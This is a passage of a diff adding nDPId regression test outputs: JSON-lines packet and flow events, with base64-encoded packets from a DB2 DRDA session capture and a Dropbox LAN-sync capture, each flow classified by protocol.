+00422{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":220609,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AAwpfMZqAFBWwAABCABFAAAwIqBAAIAGglXAqGoBwKhqgBLvw1AKtGewAAAAAHAC\/\/\/kqAAAAgQFtAEBBAI="} +00420{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":221098,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AFBWwAABAAwpfMZqCABFAAAwAABAAEAG5PXAqGqAwKhqAcNQEu\/9XlZHCrRnsXASFtB6IQAAAgQFtAEBBAI="} +00410{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":221136,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAwpfMZqAFBWwAABCABFAAAoIqFAAIAGglzAqGoBwKhqgBLvw1AKtGex\/V5WSFAQ\/\/+9tQAA"} +00651{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":338468,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"AAwpfMZqAFBWwAABCABFAADXIrhAAIAGgZbAqGoBwKhqgBLvw1AKtGex\/V5WSFAY\/\/8dAAAAAInQQQABAIMQQQA5EV6EgvKRg4NtgZeXk4mDgaOJlpVAQNHDw\/Dy8fDw8BfD8MH49sHw8UsBEbF1H\/kAAAAAAAAAAAAWEW3UqNfDYMiWoqOVgZSFQEBAQEAADBFa0cPD8PLx8PAAGBQEFAMAByQHAAckDwAHFEAABxR0AAUADBFH2MTC8mHR5dQAJtABAAIAIBBtAAYRogADABYhENToxMLyxMJAQEBAQEBAQEBAQA=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"drda_db2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1175543772220,"flow_last_seen":1175543772338,"flow_tot_l4_data_len":271,"flow_min_l4_data_len":20,"flow_max_l4_data_len":195,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.106.1","dst_ip":"192.168.106.128","src_port":4847,"dst_port":50000,"l4_proto":"tcp","ndpi": {"proto":"DRDA","breed":"Acceptable","category":"Database"}} +00408{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":338790,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBWwAABAAwpfMZqCABFAAAoelNAAEAGaqrAqGqAwKhqAcNQEu\/9XlZICrRoYFAQGSCj5gAA"} +00557{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":339518,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"AFBWwAABAAwpfMZqCABFAACTelVAAEAGaj3AqGqAwKhqAcNQEu\/9XlZICrRoYFAYGSAErAAAAFvQQwABAFUUQwAYEV6EgvKEgvKBh4WVo\/Dw8PDww\/Tx8AAYFAQUAwAHJAcAByQPAAcUQAAHFHQABQAOEUfYxMLyYdPJ1eTnAAcRbYSC8gAMEVri2NPw+PDy9AAQ0AMAAgAKFKwABhGiAAM="} +00766{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":347614,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"pkt":"AAwpfMZqAFBWwAABCABFAAEwIrtAAIAGgTrAqGoBwKhqgBLvw1AKtGhg\/V5Ws1AY\/5T1dQAAADrQQQABADQQbgAGEaIAAwAWIRDU6MTC8sTCQEBAQEBAQEBAQEAAChGg1Ojk4sXZAAoRodTo5OLF2QDO0AEAAgDIIAEAFiEQ1OjEwvLEwkBAQEBAQEBAQEBAAAYhDyQHAAwRLtHDw\/Dy8fDwAHkhBHTRw8Pw8vHw8NSo18NgyJaio5WBlIVAQEBAQISC8pGDg22Bl5eTiYOBo4mWlUBA1Ojk4sXZQEA90cPD8PLx8PDUqNfDYMiWoqOVgZSFQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAfWvnffDwfQANAC\/Y48Ti2NPB4sMAFgA1AAYRnAS4AAYRnQSwAAYRngS4"} +00408{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543772,"pkt_ts_usec":382961,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBWwAABAAwpfMZqCABFAAAoeldAAEAGaqbAqGqAwKhqAcNQEu\/9XlazCrRpaFAQHVCeQwAA"} +00747{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543773,"pkt_ts_usec":349103,"pkt_caplen":295,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":295,"pkt_l4_len":261,"pkt":"AFBWwAABAAwpfMZqCABFAAEZellAAEAGabPAqGqAwKhqAcNQEu\/9XlazCrRpaFAYHVCnbgAAABXQQgABAA8SGQAGEUkAAAAFEaQAAFDQUgACAEoiAQAGEUkAAAAMES7i2NPw+PDy9AANAC\/Y48Ti2NPn+PYACgA1AAYRnAMzAAYhAwIuABchNcPwwfj2wfDxS8XG8fIHBAIZVhIAjNADAAIAhiQIAAAAAAAwMDAwMFNRTDA4MDI0AP\/\/\/\/8CAAAAAAAAAAMAAAAAAAAAAAAAACAgICAgICAgICAgABJNWURCMkRCICAgICAgICAgICAAAAAzMf84MTn\/TVlVU0VSICD\/TVlEQjJEQv9RREIyL0xJTlVY\/zU1OP81NTj\/MP8xMjA4\/zD\/\/w=="} +00412{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543773,"pkt_ts_usec":477278,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AAwpfMZqAFBWwAABCABFAAAoIzRAAIAGgcnAqGoBwKhqgBLvw1AKtGlo\/V5XpFAQ\/qO7\/gAA"} +01307{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543773,"pkt_ts_usec":826559,"pkt_caplen":717,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":717,"pkt_l4_len":683,"pkt":"AAwpfMZqAFBWwAABCABFAAK\/I21AAIAGfvnAqGoBwKhqgBLvw1AKtGlo\/V5XpFAY\/qNDwQAAAFPQUQABAE0gFABEIRPU6MTC8sTCQEBAQEBAQEBAQEDV5NPTycRAQEBAQEBAQEBAQEDi6OLiyPLw8EBAQEBAQEBAQEBTWVNMVkwwMQBBAAUhDgEAKdBDAAEAIyQUAAAAABlTRVQgQ1VSUkVOVCBTQ0hFTUEgPSAnU0Mn\/wBT0FEAAgBNIBQARCET1OjEwvLEwkBAQEBAQEBAQEBA1eTT08nEQEBAQEBAQEBAQEBA4uji4sjy8PBAQEBAQEBAQEBAU1lTTFZMMDEAQQAFIQ4BACnQUwACACMkFAAAAAAZU0VUIENMSUVOVCBVU0VSSUQnY2ZmZG8xJ\/8ANNBTAAIALiQUAAAAACRTRVQgQ0xJRU5UIFdSS1NUTk5BTUUnTXlQQy1Ib3N0bmFtZSf\/AF\/QQwACAFkkFAAAAABPU0VUIENMSUVOVCBBQ0NUTkcnSkNDMDIxMDBNeVBDLUhvc3RuYW1lICAgICAgICAgICAgICAgICAgICAgICAgIGNmZmRvMSAgJyxYJzAwJ\/8AWNBRAAMAUiANAEQhE9ToxMLyxMJAQEBAQEBAQEBAQNXk09PJxEBAQEBAQEBAQEBAQOLo4uLI8vDwQEBAQEBAQEBAQFNZU0xWTDAxAAEABSEW8QAFIUYEAB7QUwADABgkUAAAAAAORk9SIFJFQUQgT05MWSD\/ADvQQwADADUkFAAAAAArc2VsZWN0IGN1cnJlbnQgc2NoZW1hIGZyb20gc3lzaWJtLnN5c2R1bW15Mf8AW9ABAAQAVSAMAEQhE9ToxMLyxMJAQEBAQEBAQEBAQNXk09PJxEBAQEBAQEBAQEBAQOLo4uLI8vDwQEBAQEBAQEBAQFNZU0xWTDAxAAEACCEUAAB\/\/wAFIV0B"} +00411{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543773,"pkt_ts_usec":826736,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBWwAABAAwpfMZqCABFAAAoeltAAEAGaqLAqGqAwKhqAcNQEu\/9XlekCrRr\/1AQJEKTyQAA"} +01049{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543773,"pkt_ts_usec":834282,"pkt_caplen":524,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":524,"pkt_l4_len":490,"pkt":"AFBWwAABAAwpfMZqCABFAAH+el1AAEAGaMrAqGqAwKhqAcNQEu\/9XlekCrRr\/1AYJEI2HgAAAAvQUwABAAUkCP8AL9BDAAEAKSQU\/wAAAAAfU0VUIENVUlJFTlQgU0NIRU1BID0gIlNDICAgICAgIgAL0EMAAgAFJAj\/ALHQQwADAKskEQAAAAAAMDAwMDBTUUwwODAyNAAAAAAAAAAAAAEAAAABAAAAIf\/\/\/wAAAAAgICAgICAgICAgIAASTVlEQjJEQiAgICAgICAgICAgAAAAAP8AAQAAAAAAAABVAAAAAAAAAAAAAQAAAAAAgAAAAAAAAADAAQMzAAEAAAAAATEAAAAAAAAAAP8AAAAAAAAAAAAAB01ZREIyREIAAAAAAAAAAAAAAAAAAAAAACzQUgAEACYiBQAGEUkAAAAGIQIkFwAFIR\/xAAUhUAEADCFbAAAAAAAAAAAAH9BTAAQAGSQaBnbQMgCACXHgVAAB0AABBnHw4AAAABbQUwAEABAkG\/8AAAhTQyAgICAgIAAm0FIABAAgIgsABhFJAAQAFiEQ1OjEwvLEwkBAQEBAQEBAQEBAAFnQAwAEAFMkCABkAAAAMDIwMDBTUUxSSTAxRgABAASAAQAAAAAAAAAAAAAAAAAAAAAAAAAgICAgICAgICAgIAASTVlEQjJEQiAgICAgICAgICAgAAAAAP8="} +00428{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543773,"pkt_ts_usec":898122,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"AAwpfMZqAFBWwAABCABFAAAyI31AAIAGgXbAqGoBwKhqgBLvw1AKtGv\/\/V5ZelAY\/M3JNgAAAArQAQABAAQgDg=="} +00485{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"drda_db2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1175543773,"pkt_ts_usec":898676,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"AFBWwAABAAwpfMZqCABFAABeel9AAEAGamjAqGqAwKhqAcNQEu\/9Xll6CrRsCVAYJEI06gAAACvQUgABACUiDAAGEUkABAAFIRUBABYhENToxMLyxMJAQEBAQEBAQEBAQAAL0AMAAQAFJAj\/"} diff --git a/test/results/dropbox.pcap.out b/test/results/dropbox.pcap.out new file mode 100644 index 000000000..3e6c13ed1 --- /dev/null +++ b/test/results/dropbox.pcap.out @@ -0,0 +1,169 @@ +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1455907271481,"flow_last_seen":0,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":104,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50311,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":481938,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnmO\/hCAAnAERyCABFAAB8EMQAAIARN\/bAqDgBwKg4ZcSHRFwAaLRJQwM1AW9STXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMSBFRVQgMjAxNiJ9"} +00512{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1455907271481,"flow_last_seen":0,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":104,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50311,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00420{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":483762,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"CAAnAERyCAAnmO\/hCABFAAAvXYVAAEAR64HAqDhlwKg4AURcxIcAG\/HjY0Q1AW9STYsvci9CdXMxN0NtZA=="} +00522{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":585820,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EM0AAIARN+7AqDgBwKg4ZcSHRFwAZzJrQgM1Anj4ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00415{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":587798,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXZ1AAEAR62rAqDhlwKg4AURcxIcAGvHiYkQ1Anj4iy9yL0J1czE3Q21k"} +00523{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":694771,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"CAAnmO\/hCAAnAERyCABFAAB6ENoAAIARN+LAqDgBwKg4ZcSHRFwAZlueQQM1AxdyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTEgRUVUIDIwMTYifQ=="} +00415{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":696248,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"CAAnAERyCAAnmO\/hCABFAAAtXaZAAEAR62LAqDhlwKg4AURcxIcAGfHhYUQ1AxeLL3IvQnVzMTdDbWQ="} +00531{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":800184,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"CAAnmO\/hCAAnAERyCABFAACBEOcAAIARN87AqDgBwKg4ZcSHRFwAbZmySAM1BCrL+A7rA\/3EckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjExIEVFVCAyMDE2In0="} +00424{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":802197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnAERyCAAnmO\/hCABFAAA0XahAAEAR61nAqDhlwKg4AURcxIcAIPHoaEQ1BCrL+A7rA\/3Eiy9yL0J1czE3Q21k"} +00527{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":913984,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"CAAnmO\/hCAAnAERyCABFAAB9EPQAAIARN8XAqDgBwKg4ZcSHRFwAaSr1RAM1BaHn3H9yRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTEgRUVUIDIwMTYifQ=="} +00421{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907271,"pkt_ts_usec":915914,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"CAAnAERyCAAnmO\/hCABFAAAwXcFAAEAR60TAqDhlwKg4AURcxIcAHPHkZEQ1BaHn3H+LL3IvQnVzMTdDbWQ="} +00524{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":20822,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"CAAnmO\/hCAAnAERyCABFAAB6EQEAAIARN7vAqDgBwKg4ZcSHRFwAZr+aQQM1BrJyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTIgRUVUIDIwMTYifQ=="} +00416{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":23045,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"CAAnAERyCAAnmO\/hCABFAAAtXcxAAEAR6zzAqDhlwKg4AURcxIcAGfHhYUQ1BrKLL3IvQnVzMTdDbWQ="} +00526{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":130232,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnmO\/hCAAnAERyCABFAAB8EQ4AAIARN6zAqDgBwKg4ZcSHRFwAaGrJQwM1B8\/MNXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMiBFRVQgMjAxNiJ9"} +00423{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":132073,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"CAAnAERyCAAnmO\/hCABFAAAvXc1AAEAR6znAqDhlwKg4AURcxIcAG\/HjY0Q1B8\/MNYsvci9CdXMxN0NtZA=="} +00526{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":239138,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"CAAnmO\/hCAAnAERyCABFAAB8ERsAAIARN5\/AqDgBwKg4ZcSHRFwAaNHfQwM1CFi1RXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMiBFRVQgMjAxNiJ9"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1455907272856,"flow_last_seen":0,"flow_tot_l4_data_len":103,"flow_min_l4_data_len":103,"flow_max_l4_data_len":103,"flow_avg_l4_data_len":103,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50318,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":856457,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EWkAAIARN1LAqDgBwKg4ZcSORFwAZ7scQgMdqQeYckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEyIEVFVCAyMDE2In0="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1455907272856,"flow_last_seen":0,"flow_tot_l4_data_len":103,"flow_min_l4_data_len":103,"flow_max_l4_data_len":103,"flow_avg_l4_data_len":103,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50318,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00416{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":858898,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXhFAAEAR6vbAqDhlwKg4AURcxI4AGvHiYkQdqQeYiy9yL0J1czE3Q21k"} +00529{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":969405,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"CAAnmO\/hCAAnAERyCABFAAB\/EYMAAIARNzTAqDgBwKg4ZcSORFwAa8WlRgMdqhF5z0YYRXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxMyBFRVQgMjAxNiJ9"} +00424{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907272,"pkt_ts_usec":973211,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"CAAnAERyCAAnmO\/hCABFAAAyXh5AAEAR6uXAqDhlwKg4AURcxI4AHvHmZkQdqhF5z0YYRYsvci9CdXMxN0NtZA=="} +00526{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907273,"pkt_ts_usec":77178,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+EZ0AAIARNxvAqDgBwKg4ZcSORFwAakdVRQMdqyVsmyV8ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjEzIEVFVCAyMDE2In0="} 